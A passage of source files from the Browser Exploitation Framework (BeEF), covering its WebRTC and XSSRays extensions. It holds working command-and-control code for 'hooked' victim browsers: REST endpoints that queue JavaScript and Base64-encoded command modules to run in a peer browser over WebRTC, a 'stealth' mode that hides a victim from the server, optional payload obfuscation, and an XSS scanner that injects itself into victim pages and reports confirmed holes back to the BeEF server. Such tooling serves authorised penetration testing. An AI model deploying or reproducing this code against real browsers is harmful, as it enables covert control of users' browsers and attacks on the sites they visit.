  end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/webrtc/models/rtcmanage.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\nmodule Core\nmodule Models\n  #\n  # Table stores the queued up JS commands for managing the client-side webrtc logic.\n  #\n  class RtcManage < BeEF::Core::Model\n  \n    # Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver\n    def self.initiate(caller, receiver, verbosity = false)\n      stunservers = BeEF::Core::Configuration.instance.get(\"beef.extension.webrtc.stunservers\")\n      turnservers = BeEF::Core::Configuration.instance.get(\"beef.extension.webrtc.turnservers\")\n\n      # Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll\n      # This is for the Receiver\n      r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => receiver, :message => \"beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});\")\n      r.save!\n      \n      # This is the same beef.webrtc.start() JS call, but for the Caller\n      r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => caller, :message => \"beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});\")\n      r.save!\n    end\n\n    # Advises a browser to send an RTCDataChannel message to its peer\n    # Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call\n    def self.sendmsg(from, to, message)\n      r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => from, :message => \"beefrtcs[#{to}].sendPeerMsg('#{message}');\")\n      r.save!\n    end\n\n    # Gets the browser to run the beef.webrtc.status() JavaScript function\n    # This JS function will return it's values to the /rtcmessage handler\n    def self.status(id)\n      r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => id, :message => \"beef.webrtc.status(#{id});\")\n      r.save!\n    end\n\n  end\n  \nend\nend\nend\n"
  },
  {
    "path": "extensions/webrtc/models/rtcmodulestatus.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\nmodule Core\nmodule Models\n  #\n  # Table stores the webrtc status information\n  # This includes things like connection status, and executed modules etc\n  #\n  \n\n  class Rtcmodulestatus < BeEF::Core::Model\n      \n      belongs_to :hooked_browser\n      belongs_to :command_module\n  \n\n  end\n  \nend\nend\nend\n"
  },
  {
    "path": "extensions/webrtc/models/rtcsignal.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\nmodule Core\nmodule Models\n  #\n  # Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser\n  #\n  class RtcSignal < BeEF::Core::Model\n\n    belongs_to :hooked_browser\n\n  end\n  \nend\nend\nend\n"
  },
  {
    "path": "extensions/webrtc/models/rtcstatus.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\nmodule Core\nmodule Models\n  #\n  # Table stores the webrtc status information\n  # This includes things like connection status, and executed modules etc\n  #\n  \n\n  class Rtcstatus < BeEF::Core::Model\n  \n    belongs_to :hooked_browser\n\n  end\n  \nend\nend\nend\n"
  },
  {
    "path": "extensions/webrtc/rest/webrtc.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module WebRTC\n      require 'base64'\n\n      # This class handles the routing of RESTful API requests that manage the\n      #   WebRTC Extension\n      class WebRTCRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          config = BeEF::Core::Configuration.instance\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # @note Initiate two browsers to establish a WebRTC PeerConnection\n        # Return success = true if the message has been queued - as this is\n        #   asynchronous, you will have to monitor BeEFs event log for success\n        #   messages. For instance: Event: Browser:1 received message from\n        #   Browser:2: ICE Status: connected\n        #\n        #   Alternatively, the new rtcstatus model also records events during\n        #   RTC connectivity\n        #\n        # Input must be specified in JSON format (the verbose option is no\n        #   longer required as client-debugging uses the beef.debug)\n        #\n        # +++ Example: +++\n        # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"from\":1, \"to\":2}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"success\":\"true\"}\n        #\n        # +++ Example with verbosity on the client-side +++\n        # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"from\":1, \"to\":2, \"verbose\": true}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"success\":\"true\"}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X POST -d '{\"from\":1,\"to\":2,\"verbose\":true}'\n        #  http://127.0.0.1:3000/api/webrtc/go\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        post '/go' do\n          body = JSON.parse(request.body.read)\n\n          fromhb = body['from']\n          raise InvalidParamError, 'from' if fromhb.nil?\n\n          tohb = body['to']\n          raise InvalidParamError, 'to' if tohb.nil?\n\n          verbose = body['verbose']\n\n          result = {}\n\n          if [fromhb, tohb].include?(nil)\n            result['success'] = false\n            return result.to_json\n          end\n\n          if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)\n            BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true)\n          else\n            BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i)\n          end\n\n          r = BeEF::Core::Models::Rtcstatus.new(\n            hooked_browser_id: fromhb.to_i,\n            target_hooked_browser_id: tohb.to_i,\n            status: 'Initiating..',\n            created_at: Time.now,\n            updated_at: Time.now\n          )\n\n          r.save\n          r2 = BeEF::Core::Models::Rtcstatus.new(\n            hooked_browser_id: tohb.to_i,\n            target_hooked_browser_id: fromhb.to_i,\n            status: 'Initiating..',\n            created_at: Time.now,\n            updated_at: Time.now\n          )\n          r2.save\n\n          result['success'] = true\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while initiating RTCPeerConnections .. (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # @note Get the RTCstatus of a particular browser (and its peers)\n        # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log\n        #   for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true\n        #\n        # +++ Example: +++\n        # GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        #\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"success\":\"true\"}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X GET http://127.0.0.1:3000/api/webrtc/status/1\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        get '/status/:id' do\n          id = params[:id]\n\n          BeEF::Core::Models::RtcManage.status(id.to_i)\n          result = {}\n          result['success'] = true\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while queuing status message for #{id} (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # @note Get the events from the RTCstatus model of a particular browser\n        # Return JSON with events_count and an array of events\n        #\n        # +++ Example: +++\n        # GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        #\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"events_count\":1,\"events\":[{\"id\":2,\"hb_id\":1,\"target_id\":2,\"status\":\"Connected\",\"created_at\":\"timestamp\",\"updated_at\":\"timestamp\"}]}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X GET http://127.0.0.1:3000/api/webrtc/events/1\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        get '/events/:id' do\n          id = params[:id]\n\n          events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)\n\n          events_json = []\n          count = events.length\n\n          events.each do |event|\n            events_json << {\n              'id' => event.id.to_i,\n              'hb_id' => event.hooked_browser_id.to_i,\n              'target_id' => event.target_hooked_browser_id.to_i,\n              'status' => event.status.to_s,\n              'created_at' => event.created_at.to_s,\n              'updated_at' => event.updated_at.to_s\n            }\n          end\n          unless events_json.empty?\n            {\n              'events_count' => count,\n              'events' => events_json\n            }.to_json\n          end\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while queuing status message for #{id} (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # @note Get the events from the RTCModuleStatus model of a particular browser\n        # Return JSON with events_count and an array of events associated with command module execute\n        #\n        # +++ Example: +++\n        # GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        #\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"events_count\":1,\"events\":[{\"id\":2,\"hb_id\":1,\"target_id\":2,\"status\":\"prompt=blah\",\"mod\":200,\"created_at\":\"timestamp\",\"updated_at\":\"timestamp\"}]}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        get '/cmdevents/:id' do\n          id = params[:id]\n\n          events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)\n\n          events_json = []\n          count = events.length\n\n          events.each do |event|\n            events_json << {\n              'id' => event.id.to_i,\n              'hb_id' => event.hooked_browser_id.to_i,\n              'target_id' => event.target_hooked_browser_id.to_i,\n              'status' => event.status.to_s,\n              'created_at' => event.created_at.to_s,\n              'updated_at' => event.updated_at.to_s,\n              'mod' => event.command_module_id\n            }\n          end\n          unless events_json.empty?\n            {\n              'events_count' => count,\n              'events' => events_json\n            }.to_json\n          end\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while queuing status message for #{id} (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # @note Instruct a browser to send an RTC DataChannel message to one of its peers\n        # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log\n        #   for success messages, IF ANY.\n        #\n        # Input must be specified in JSON format\n        #\n        # +++ Example: +++\n        # POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"from\":1, \"to\":2, \"message\":\"Just a plain message\"}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"success\":\"true\"}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X POST -d '{\"from\":1,\"to\":2,\"message\":\"Just a plain message\"}'\n        #  http://127.0.0.1:3000/api/webrtc/msg\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        #\n        # Available client-side \"message\" options and handling:\n        #  !gostealth - will put the <to> browser into a stealth mode\n        #  !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again\n        #  %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF\n        #  <text> - will simply send a datachannel message from <from> to <to>.\n        #           If the <to> is stealthed, it'll bounce the message back.\n        #           If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler\n        post '/msg' do\n          body = JSON.parse(request.body.read)\n\n          fromhb = body['from']\n          raise InvalidParamError, 'from' if fromhb.nil?\n\n          tohb = body['to']\n          raise InvalidParamError, 'to' if tohb.nil?\n\n          message = body['message']\n          raise InvalidParamError, 'message' if message.nil?\n\n          if message === '!gostealth'\n            stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil\n            unless stat.nil?\n              stat.status = 'Selected browser has commanded peer to enter stealth'\n              stat.updated_at = Time.now\n              stat.save\n            end\n            stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil\n            unless stat2.nil?\n              stat2.status = 'Peer has commanded selected browser to enter stealth'\n              stat2.updated_at = Time.now\n              stat2.save\n            end\n          end\n\n          result = {}\n\n          if [fromhb, tohb, message].include?(nil)\n            result['success'] = false\n          else\n            BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message)\n            result['success'] = true\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while queuing message (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # @note Instruct a browser to send an RTC DataChannel message to one of its peers\n        #       In this instance, the message is a Base64d encoded JS command\n        #       which has the beef.net.send statements re-written\n        # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log\n        #   for success messages, IF ANY.\n        #   Commands are written back to the rtcmodulestatus model\n        #\n        # Input must be specified in JSON format\n        #\n        # +++ Example: +++\n        # POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"from\":1, \"to\":2, \"cmdid\":120, \"options\":[{\"name\":\"option_name\",\"value\":\"option_value\"}]}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"success\":\"true\"}\n        #\n        # +++ Example with curl +++\n        # curl -H \"Content-type: application/json; charset=UTF-8\" -v\n        #  -X POST -d '{\"from\":1, \"to\":2, \"cmdid\":120, \"options\":[{\"name\":\"option_name\",\"value\":\"option_value\"}]}'\n        #  http://127.0.0.1:3000/api/webrtc/cmdexec\\?token\\=df67654b03d030d97018f85f0284247d7f49c348\n        #\n        post '/cmdexec' do\n          body = JSON.parse(request.body.read)\n          fromhb = body['from']\n          raise InvalidParamError, 'from' if fromhb.nil?\n\n          tohb = body['to']\n          raise InvalidParamError, 'to' if tohb.nil?\n\n          cmdid = body['cmdid']\n          raise InvalidParamError, 'cmdid' if cmdid.nil?\n\n          cmdoptions = body['options'] if body['options']\n          cmdoptions = nil if cmdoptions.eql?('')\n\n          if [fromhb, tohb, cmdid].include?(nil)\n            result = {}\n            result['success'] = false\n            return result.to_json\n          end\n\n          # Find the module, modify it, send it to be executed on the tohb\n\n          # Validate the command module by ID\n          command_module = BeEF::Core::Models::CommandModule.find(cmdid)\n          error 404 if command_module.nil?\n          error 404 if command_module.path.nil?\n\n          # Get the key of the module based on the ID\n          key = BeEF::Module.get_key_by_database_id(cmdid)\n          error 404 if key.nil?\n\n          # Try to load the module\n          BeEF::Module.hard_load(key)\n\n          # Now the module is hard loaded, find it's object and get it\n          command_module = BeEF::Core::Command.const_get(\n            BeEF::Core::Configuration.instance.get(\n              \"beef.module.#{key}.class\"\n            )\n          ).new(key)\n\n          # Check for command options\n          cmddata = cmdoptions.nil? ? [] : cmdoptions\n\n          # Get path of source JS\n          f = \"#{command_module.path}command.js\"\n          error 404 unless File.exist? f\n\n          # Read file\n          @eruby = Erubis::FastEruby.new(File.read(f))\n\n          # Parse in the supplied parameters\n          cc = BeEF::Core::CommandContext.new\n          cc['command_url'] = command_module.default_command_url\n          cc['command_id'] = command_module.command_id\n          cmddata.each do |v|\n            cc[v['name']] = v['value']\n          end\n\n          # Evalute supplied options\n          @output = @eruby.evaluate(cc)\n\n          # Gsub the output, replacing all beef.net.send commands\n          # This needs to occur because we want this JS to send messages\n          # back to the peer browser\n          @output = @output.gsub(/beef\\.net\\.send\\((.*)\\);?/) do |_s|\n            tmpout = \"// beef.net.send removed\\n\"\n            tmpout += \"beefrtcs[#{fromhb}].sendPeerMsg('execcmd (\"\n            cmdurl = Regexp.last_match(1).split(',')\n            tmpout += cmdurl[0].gsub(/\\s|\"|'/, '')\n            tmpout += \") Result: ' + \"\n            tmpout += cmdurl[2]\n            tmpout += ');'\n            tmpout\n          end\n\n          # Prepend the B64 version of the string with @\n          # The client JS receives the rtc message, detects the @\n          # and knows to decode it before execution\n          msg = \"@#{Base64.strict_encode64(@output)}\"\n\n          # Finally queue the message in the RTC queue for submission\n          # from the from browser to the to browser\n          BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg)\n\n          result = {}\n          result['success'] = true\n          result.to_json\n        rescue JSON::ParserError => e\n          print_error \"Invalid JSON: #{e.message}\"\n          halt 400\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while executing command (#{e.message})\"\n          halt 500\n        end\n\n        # Raised when invalid JSON input is passed to an /api/webrtc handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/webrtc handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/webrtc handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/api/scan.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Xssrays\n      module API\n        class Scan\n          include BeEF::Core::Handlers::Modules::BeEFJS\n\n          #\n          # Add the xssrays main JS file to the victim DOM if there is a not-yet-started scan entry in the db.\n          #\n          def start_scan(hb, body)\n            @body = body\n            config = BeEF::Core::Configuration.instance\n            hb = BeEF::Core::Models::HookedBrowser.find(hb.id)\n            # TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested\n            # TODO: 2 scans on the same hooked browsers, \"first\" could not get the right result we want\n            xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first\n\n            # stop here if there are no XssRays scans to be started\n            return if xs.nil? || xs.is_started == true\n\n            # set the scan as started\n            xs.update(is_started: true)\n\n            # build the beefjs xssrays component\n\n            # the URI of the XssRays handler where rays should come back if the vulnerability is verified\n            beefurl = BeEF::Core::Server.instance.url\n            cross_origin = xs.cross_origin\n            timeout = xs.clean_timeout\n\n            ws = BeEF::Core::Websocket::Websocket.instance\n\n            # TODO: antisnatchor: prevent sending \"content\" multiple times.\n            #                    Better leaving it after the first run, and don't send it again.\n            # todo antisnatchor: remove this gsub crap adding some hook packing.\n\n            # If we use WebSockets, just reply wih the component contents\n            if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)\n              content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//\n              //   Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n              //   Browser Exploitation Framework (BeEF) - https://beefproject.com\n              //   See the file \\'doc/COPYING\\' for copying permission\n              //', '')\n              add_to_body xs.id, hb.session, beefurl, cross_origin, timeout\n\n              if config.get('beef.extension.evasion.enable')\n                evasion = BeEF::Extension::Evasion::Evasion.instance\n                ws.send(evasion.obfuscate(content) + @body, hb.session)\n              else\n                ws.send(content + @body, hb.session)\n              end\n            # If we use XHR-polling, add the component to the main hook file\n            else\n              build_missing_beefjs_components 'beef.net.xssrays'\n              add_to_body xs.id, hb.session, beefurl, cross_origin, timeout\n            end\n\n            print_debug(\"[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross origin [#{cross_origin}], clean timeout [#{timeout}].\")\n          end\n\n          def add_to_body(id, session, beefurl, cross_origin, timeout)\n            config = BeEF::Core::Configuration.instance\n\n            req = %{\n              beef.execute(function() {\n                beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_origin}, #{timeout});\n              });\n            }\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @body << evasion.obfuscate(req)\n            else\n              @body << req\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Xssrays\n      module RegisterHttpHandler\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n\n        #\n        # Mounts the handlers and REST interface for processing XSS rays\n        #\n        # @param beef_server [BeEF::Core::Server] HTTP server instance\n        #\n        def self.mount_handler(beef_server)\n          # We register the http handler for the requester.\n          # This http handler will retrieve the http responses for all requests\n          beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)\n          # REST API endpoint\n          beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)\n        end\n      end\n\n      module RegisterPreHookCallback\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')\n\n        # checks at every polling if there are new scans to be started\n        def self.pre_hook_send(hooked_browser, body, _params, _request, _response)\n          return if hooked_browser.nil?\n\n          xssrays = BeEF::Extension::Xssrays::API::Scan.new\n          xssrays.start_scan(hooked_browser, body)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        xssrays:\n            enable: false\n            name: 'XSSRays'\n            authors: [\"antisnatchor\"]\n            clean_timeout: 3000\n            cross_origin: true\n"
  },
  {
    "path": "extensions/xssrays/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Xssrays\n    end\n  end\nend\n\nrequire 'extensions/xssrays/models/xssraysscan'\nrequire 'extensions/xssrays/models/xssraysdetail'\nrequire 'extensions/xssrays/api/scan'\nrequire 'extensions/xssrays/handler'\nrequire 'extensions/xssrays/api'\nrequire 'extensions/xssrays/rest/xssrays'\n"
  },
  {
    "path": "extensions/xssrays/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Xssrays\n      class Handler < BeEF::Core::Router::Router\n        XS = BeEF::Core::Models::Xssraysscan\n        XD = BeEF::Core::Models::Xssraysdetail\n        HB = BeEF::Core::Models::HookedBrowser\n\n        get '/' do\n          # verify if the request contains the hook token\n          # raise an error if it's null or not found in the DB\n          beef_hook = params[:hbsess] || nil\n\n          if beef_hook.nil? || HB.where(session: beef_hook).first.nil?\n            print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'\n            return\n          end\n\n          # verify the specified ray ID is valid\n          rays_scan_id = params[:raysid] || nil\n          if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)\n            print_error '[XSSRAYS] Invalid ray ID'\n            return\n          end\n\n          case params[:action]\n          when 'ray'\n            # we received a ray\n            parse_rays(rays_scan_id)\n          when 'finish'\n            # we received a notification for finishing the scan\n            finalize_scan(rays_scan_id)\n          else\n            # invalid action\n            print_error '[XSSRAYS] Invalid action'\n            return\n          end\n\n          headers 'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0',\n                  'Access-Control-Allow-Origin' => '*',\n                  'Access-Control-Allow-Methods' => 'POST,GET'\n        end\n\n        # parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.\n        def parse_rays(rays_scan_id)\n          xssrays_scan = XS.find(rays_scan_id)\n          hooked_browser = HB.where(session: params[:hbsess]).first\n\n          if xssrays_scan.nil?\n            print_error '[XSSRAYS] Invalid scan'\n            return\n          end\n\n          xssrays_detail = XD.new(\n            hooked_browser_id: hooked_browser.session,\n            vector_name: params[:n],\n            vector_method: params[:m],\n            vector_poc: params[:p],\n            xssraysscan_id: xssrays_scan.id\n          )\n          xssrays_detail.save\n\n          print_info(\"[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip}], hooked origin [#{hooked_browser.domain}]\")\n          print_debug(\"[XSSRAYS] Ray info: \\n #{request.query_string}\")\n        end\n\n        # finalize the XssRays scan marking the scan as finished in the db\n        def finalize_scan(rays_scan_id)\n          xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)\n\n          if xssrays_scan.nil?\n            print_error '[XSSRAYS] Invalid scan'\n            return\n          end\n\n          xssrays_scan.update(is_finished: true, scan_finish: Time.now)\n          print_info(\"[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]\")\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/models/xssraysdetail.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Store the rays details, basically verified XSS vulnerabilities\n      #\n      class Xssraysdetail < BeEF::Core::Model\n        belongs_to :hooked_browser\n        belongs_to :xssraysscan\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/models/xssraysscan.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Store the XssRays scans started and finished, with relative ID\n      #\n      class Xssraysscan < BeEF::Core::Model\n        has_many :xssrays_details\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/xssrays/rest/xssrays.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Xssrays\n      # This class handles the routing of RESTful API requests for XSSRays\n      class XssraysRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          config = BeEF::Core::Configuration.instance\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000\n          CROSS_ORIGIN = config.get('beef.extension.xssrays.cross_origin') || true\n\n          HB = BeEF::Core::Models::HookedBrowser\n          XS = BeEF::Core::Models::Xssraysscan\n          XD = BeEF::Core::Models::Xssraysdetail\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Returns the entire list of rays for all zombies\n        get '/rays' do\n          rays = XD.all.distinct.order(:id)\n          count = rays.length\n\n          result = {}\n          result[:count] = count\n          result[:rays] = []\n          rays.each do |ray|\n            result[:rays] << ray2hash(ray)\n          end\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving rays (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all rays given a specific hooked browser id\n        get '/rays/:id' do\n          id = params[:id]\n\n          rays = XD.where(hooked_browser_id: id).distinct.order(:id)\n          count = rays.length\n\n          result = {}\n          result[:count] = count\n          result[:rays] = []\n          rays.each do |ray|\n            result[:rays] << ray2hash(ray)\n          end\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})\"\n          halt 500\n        